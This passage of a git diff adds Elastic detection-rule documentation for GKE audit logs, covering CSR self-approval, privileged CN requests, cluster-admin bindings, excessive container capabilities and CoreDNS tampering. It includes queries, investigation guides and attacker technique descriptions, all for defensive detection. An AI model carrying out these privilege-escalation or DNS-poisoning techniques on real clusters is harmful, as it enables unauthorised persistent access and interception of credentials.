https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-client-certificate/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Certificate Signing Request API Client Signer Requested* + + +Identify the actor (`client.user.email`), `source.ip`, and `user_agent.original`. Legitimate GKE node certificate +rotation uses `kubernetes.io/kube-apiserver-client-kubelet` or `kubernetes.io/kubelet-serving` — not this signer. +Review `gcp.audit.request.spec.signerName` and decode `gcp.audit.request.spec.request` when present to extract the +requested Common Name (CN). + +```bash + +*Full decoded PEM block* + +echo "" | base64 -d + + +*Parsed CSR details (subject, key type/size, extensions, signature)* + +echo "" | base64 -d | openssl req -noout -text + + +*Subject only* + +echo "" | base64 -d | openssl req -noout -subject +``` + + +*Possible investigation steps* + + +- Confirm whether the principal is authorized to request API client certificates and whether the activity aligns with + approved PKI workflows. +- Decode `gcp.audit.request.spec.request` and inspect the CSR subject for privileged identities such as + `system:masters`, `system:kube-controller-manager`, or `system:admin`. +- Correlate with CSR approval or patch activity on the same `gcp.audit.resource_name` and follow-on API access from + unusual networks. +- Review RBAC grants on `certificatesigningrequests` create and `certificatesigningrequests/approval` for the actor. + + +*False positive analysis* + + +- Custom PKI or admin workflows may legitimately use this signer outside kube-system. Baseline and tune for known + operators. + + +*Related rules* + + +- GKE Certificate Signing Request Privileged Identity Requested - 4159bec9-76ad-4cdc-a797-4a8572073bbe +- GKE Certificate Signing Request Self-Approved - e155e658-3dcd-4d27-a4e5-1d8da6704b0e +- GKE Client Certificate Signing Request Created or Approved - ec67ab57-945a-4edb-84f8-1d7a51f46544 + + +*Response and remediation* + + +- Deny or delete suspicious CSRs, rotate cluster signing trust if abused, and remove excessive CSR RBAC from untrusted + identities. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture for CSR create events (`gcp.audit.request.spec.signerName`) typically requires RequestResponse audit level on CertificateSigningRequest resources. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"gcp.audit" and service.name:"k8s.io" and event.outcome:"success" and +event.action:"io.k8s.certificates.v1.certificatesigningrequests.create" and +gcp.audit.request.spec.signerName:"kubernetes.io/kube-apiserver-client" and +not client.user.email:( + "system:gcp-controller-manager" or + "system:serviceaccount:kube-system:certificate-controller" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-certificate-signing-request-self-approved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-certificate-signing-request-self-approved.asciidoc new file mode 100644 index 0000000000..71d55285a9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-certificate-signing-request-self-approved.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-gke-certificate-signing-request-self-approved]] +=== GKE Certificate Signing Request Self-Approved + +Detects when the same non-system GKE identity creates a CertificateSigningRequest (CSR) and then approves that same CSR within five minutes, consistent with self-approval abuse. Attackers who gain CSR create and approval RBAC can submit a certificate request and approve it themselves to obtain a long-lived client certificate without involving cluster operators, a pattern documented in Kubernetes persistence research and adversary emulation. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://kubernetes.io/docs/concepts/security/rbac-good-practices/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-client-certificate/ +* https://raesene.github.io/blog/2022/12/21/Kubernetes-persistence-with-Tocan-and-Teisteanas/ +* https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Certificate Signing Request Self-Approved* + + +This rule groups CSR create and approval events by `client.user.email` and normalized CSR name (`Esql.csr_name`). +GKE logs approval on subresource paths (`.../csr-name/approval`), so the query strips `/approval` suffixes before +correlating. An alert means the same identity both submitted and approved the same CSR within five minutes, a strong +indicator of manual self-approval rather than normal `system:gcp-controller-manager` auto-approval of node +certificates. + + +*Possible investigation steps* + + +- Review `Esql.event_action_values` for the sequence of create followed by `approval.update`. +- Inspect `gcp.audit.request.spec.signerName` and decode `gcp.audit.request.spec.request` on create events for the + requested identity. +- Validate whether the actor should hold both CSR create and approval permissions. +- Hunt for subsequent API activity authenticated as the minted certificate identity. + + +*False positive analysis* + + +- cert-manager or internal PKI automation that creates and approves CSRs under the same service account in one workflow. +- GitOps or bootstrap tooling that submits and signs CSRs programmatically. Baseline known automation and tune exclusions + for those principals. +- Two unrelated CSR events from the same user within five minutes should not match because the query requires at least + one create and one approval-class action on the same normalized CSR name. + + +*Related rules* + + +- GKE Certificate Signing Request API Client Signer Requested - 1e344fba-a2f7-462b-aaec-d6c8f80d5a28 +- GKE Certificate Signing Request Privileged Identity Requested - 4159bec9-76ad-4cdc-a797-4a8572073bbe +- GKE Client Certificate Signing Request Created or Approved - ec67ab57-945a-4edb-84f8-1d7a51f46544 + + +*Response and remediation* + + +- Revoke or deny the CSR, remove approval RBAC from untrusted principals, and rotate cluster signing credentials if + abuse is confirmed. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.outcome == "success" + and event.action in ( + "io.k8s.certificates.v1.certificatesigningrequests.create", + "io.k8s.certificates.v1.certificatesigningrequests.approval.update" + ) + and client.user.email is not null + and gcp.audit.resource_name is not null + and not client.user.email in ( + "system:gcp-controller-manager", + "system:kube-controller-manager", + "system:serviceaccount:kube-system:certificate-controller", + "kubelet-bootstrap", + "kubelet-nodepool-bootstrap" + ) + and not client.user.email like "system:node:*" +| eval Esql.csr_name = replace(gcp.audit.resource_name, "/approval", "") +| stats + Esql.create_count = count(*) where event.action == "io.k8s.certificates.v1.certificatesigningrequests.create", + Esql.approval_count = count(*) where event.action == "io.k8s.certificates.v1.certificatesigningrequests.approval.update", + Esql.event_action_values = values(event.action), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by client.user.email, Esql.csr_name +| where Esql.create_count >= 1 + and Esql.approval_count >= 1 + and date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen) <= 300 +| keep client.user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-client-certificate-signing-request-created-or-approved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-client-certificate-signing-request-created-or-approved.asciidoc new file mode 100644 index 0000000000..f943148637 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-client-certificate-signing-request-created-or-approved.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-gke-client-certificate-signing-request-created-or-approved]] +=== GKE Client Certificate Signing Request Created or Approved + +Detects creation or approval of a GKE CertificateSigningRequest (CSR) by a non-system identity. This is a breadth baseline rule for human or custom automation CSR activity on GKE. Attackers with cluster access can submit and approve CSRs to obtain long-lived client certificates that survive token revocation and RBAC changes. Use companion rules to evaluate signer choice, requested identity, and self-approval behavior. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://kubernetes.io/docs/concepts/security/rbac-good-practices/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-client-certificate/ +* https://raesene.github.io/blog/2022/12/21/Kubernetes-persistence-with-Tocan-and-Teisteanas/ +* https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Client Certificate Signing Request Created or Approved* + + +Identify the actor (`client.user.email`), `source.ip`, and `user_agent.original`. Confirm whether the principal is +expected to create or approve CSRs. Review `event.action`, `gcp.audit.resource_name`, and when audit level captures +request bodies, the CSR spec in `gcp.audit.request` (requested signer, usages, and requested identity / Common Name). + + +*Extracting the Certificate Common Name* + + +For create events, `gcp.audit.request.spec.request` may hold the base64-encoded PEM certificate signing request. +On GKE this is base64 of the full PEM CSR. Decode and inspect the subject for high-risk Common Names such as +`system:masters`, `system:kube-controller-manager`, and `system:admin`. The companion rule "GKE Certificate Signing +Request Privileged Identity Requested" decodes the CSR body and matches those identities automatically. + +```bash + +*Full decoded PEM block* + +echo "" | base64 -d + + +*Parsed CSR details (subject, key type/size, extensions, signature)* + +echo "" | base64 -d | openssl req -noout -text + + +*Subject only* + +echo "" | base64 -d | openssl req -noout -subject +``` + +Priority CNs that usually indicate privilege escalation intent: + +- `system:masters` (cluster-admin group) +- `system:kube-controller-manager` (broad control-plane-style access, including secrets and token minting) +- `system:kube-scheduler` (scheduling across the cluster) +- `system:kube-proxy` (node/network-adjacent access) +- Any CN that matches an existing ClusterRoleBinding subject name + + +*Possible investigation steps* + + +- Compare the CSR name and extracted CN against approved PKI or bootstrap processes. +- Determine whether the same identity both created and approved the CSR in a short window (`approval.update`, `update`, + or `patch`), which matches self-approval abuse. +- Review `gcp.audit.resource_name` and subsequent authentication or API activity from unusual networks. +- Correlate with RBAC changes, secret access, or TokenRequest activity that preceded CSR activity. + + +*False positive analysis* + + +- Admins testing CSR workflows with kubectl are common in lab clusters. Baseline expected operators and tune exclusions. +- cert-manager or custom PKI automation outside the exclusion list may create or approve CSRs during normal rotation. + + +*Related rules* + + +- GKE Certificate Signing Request API Client Signer Requested - 1e344fba-a2f7-462b-aaec-d6c8f80d5a28 +- GKE Certificate Signing Request Privileged Identity Requested - 4159bec9-76ad-4cdc-a797-4a8572073bbe +- GKE Certificate Signing Request Self-Approved - e155e658-3dcd-4d27-a4e5-1d8da6704b0e + + +*Response and remediation* + + +- If malicious, deny further approval, delete or deny the CSR per incident policy, revoke or rotate cluster signing + trust if the CA or signer was abused, and invalidate issued credentials. +- Remove excessive RBAC that allows `certificatesigningrequests` create/update/patch or approval for untrusted + identities; enforce signer restrictions and approved issuers where supported. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"gcp.audit" and service.name:"k8s.io" and event.outcome:"success" and +event.action:( + "io.k8s.certificates.v1.certificatesigningrequests.create" or + "io.k8s.certificates.v1.certificatesigningrequests.approval.update" +) and not client.user.email:( + "system:gcp-controller-manager" or + "system:kube-controller-manager" or + "system:serviceaccount:kube-system:certificate-controller" +) and not ( + event.action:"io.k8s.certificates.v1.certificatesigningrequests.create" and + client.user.email:( + "kubelet-bootstrap" or + "kubelet-nodepool-bootstrap" or + system\:node\:* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-cluster-admin-role-binding-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-cluster-admin-role-binding-created-or-modified.asciidoc new file mode 100644 index 0000000000..06647d802c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-cluster-admin-role-binding-created-or-modified.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-gke-cluster-admin-role-binding-created-or-modified]] +=== GKE Cluster-Admin Role Binding Created or Modified + +Detects creation or modification of a GKE ClusterRoleBinding that grants the cluster-admin ClusterRole, providing unrestricted cluster access and enabling rapid privilege escalation or persistence. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Cluster-Admin Role Binding Created or Modified* + + +Identify who created or changed the binding and which subject received cluster-admin. + + +*Investigation steps* + + +- Review `client.user.email`, `source.ip`, and `gcp.audit.request` for the bound subject. +- Hunt for secret reads, privileged pod creation, or webhook changes from the same actor or new subject. + + +*False positives* + + +- Bootstrap and recovery may recreate cluster-admin bindings via `system:apiserver` during control plane reconciliation (excluded). + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.clusterrolebindings.create" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.patch" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.update" +) and gcp.audit.request.kind:"ClusterRoleBinding" and +gcp.audit.resource_name:"rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin" and +not client.user.email:"system:apiserver" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-container-created-with-excessive-linux-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-container-created-with-excessive-linux-capabilities.asciidoc new file mode 100644 index 0000000000..d9f6f73983 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-container-created-with-excessive-linux-capabilities.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-gke-container-created-with-excessive-linux-capabilities]] +=== GKE Container Created with Excessive Linux Capabilities + +Detects GKE pod creation with dangerous Linux capabilities that are commonly abused in container escape techniques. Standalone pods are included; controller-owned ReplicaSet, DaemonSet, and StatefulSet workloads are excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container +* https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Container Created with Excessive Linux Capabilities* + + +Capabilities such as SYS_ADMIN, NET_ADMIN, and BPF can enable host escape. Review `gcp.audit.request.spec.containers` +and the creating identity. + + +*Investigation steps* + + +- Confirm which capability was added and whether the image requires it. +- Review `user.email`, namespace, and follow-on API activity from the same actor. + + +*False positives* + + +- Known DaemonSet or operator images may need capabilities; exclude after validation. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"io.k8s.core.v1.pods.create" and event.outcome:success and +gcp.audit.request.spec.containers.securityContext.capabilities.add:( + "BPF" or "DAC_READ_SEARCH" or "NET_ADMIN" or "SYS_ADMIN" or "SYS_BOOT" or "SYS_MODULE" or "SYS_PTRACE" or "SYS_RAWIO" or + "SYSLOG" +) and not gcp.audit.request.metadata.ownerReferences.kind:("ReplicaSet" or "DaemonSet" or "StatefulSet") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-coredns-or-kube-dns-configuration-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-coredns-or-kube-dns-configuration-modified.asciidoc new file mode 100644 index 0000000000..4b8df2b08a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-coredns-or-kube-dns-configuration-modified.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-gke-coredns-or-kube-dns-configuration-modified]] +=== GKE CoreDNS or Kube-DNS Configuration Modified + +Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace on GKE. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/ +* https://coredns.io/plugins/rewrite/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE CoreDNS or Kube-DNS Configuration Modified* + + +Identify who performed the change (user.email, groups), from where (source.ip), and which ConfigMap was modified. +If request/response capture is available, review the changed Corefile content for upstream redirection, wildcard +rewrites, or unexpected forward/proxy targets. + + +*Possible investigation steps* + + +- Confirm the actor is authorized to modify kube-system DNS configuration and whether the change aligns with a change window. +- Review the ConfigMap diff for added rewrite rules, hosts entries, or forwarding to external or unexpected internal IPs. +- Correlate with follow-on suspicious activity such as secret reads, token minting, or RBAC modifications. +- Check for cluster-wide symptoms: service connection failures, TLS errors, or sudden endpoint changes across namespaces. + + +*Response and remediation* + + +- Revert the ConfigMap to a known-good version and restart DNS pods if required by your deployment. +- Restrict RBAC permissions that allow update/patch/delete on kube-system DNS ConfigMaps and investigate the source identity. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:("io.k8s.core.v1.configmaps.update" or "io.k8s.core.v1.configmaps.patch" or "io.k8s.core.v1.configmaps.delete") and +orchestrator.resource.name:("coredns" or "kube-dns" or "coredns-custom") and orchestrator.namespace:"kube-system" and +gcp.audit.labels.authorization.k8s.io/decision:"allow" and +not user.email:( + "system:serviceaccount:kube-system:coredns" or + "system:serviceaccount:kube-system:kube-dns" or + system\:node* or system\:serviceaccount\:kube-system* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc new file mode 100644 index 0000000000..605fe73db5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-gke-creation-of-a-rolebinding-referencing-a-serviceaccount]] +=== GKE Creation of a RoleBinding Referencing a ServiceAccount + +Detects creation of a GKE RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, which may indicate privilege delegation or RBAC misconfiguration leading to elevated access. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Creation of a RoleBinding Referencing a ServiceAccount* + + +This rule detects creation of a RoleBinding or ClusterRoleBinding whose subject is a ServiceAccount. Attackers often bind +over-privileged roles to an existing workload service account to operate with elevated rights. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, `gcp.audit.request.roleRef`, and `gcp.audit.request.subjects`. +- Determine which workloads run under the bound service account and whether the referenced role is cluster-scoped. +- Correlate with secret access, exec, or additional RBAC changes from the same actor. + + +*False positive analysis* + + +- Legitimate deployments and operators create service account bindings during routine releases. + + +*Response and remediation* + + +- Remove unauthorized bindings, rotate the service account credentials, and tighten who can create RoleBindings. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.rolebindings.create" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.create" +) and gcp.audit.request.subjects.kind:"ServiceAccount" and not client.user.email:( + "system:apiserver" or + "gcp:kube-bootstrap" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-creation-or-modification-of-sensitive-role.asciidoc 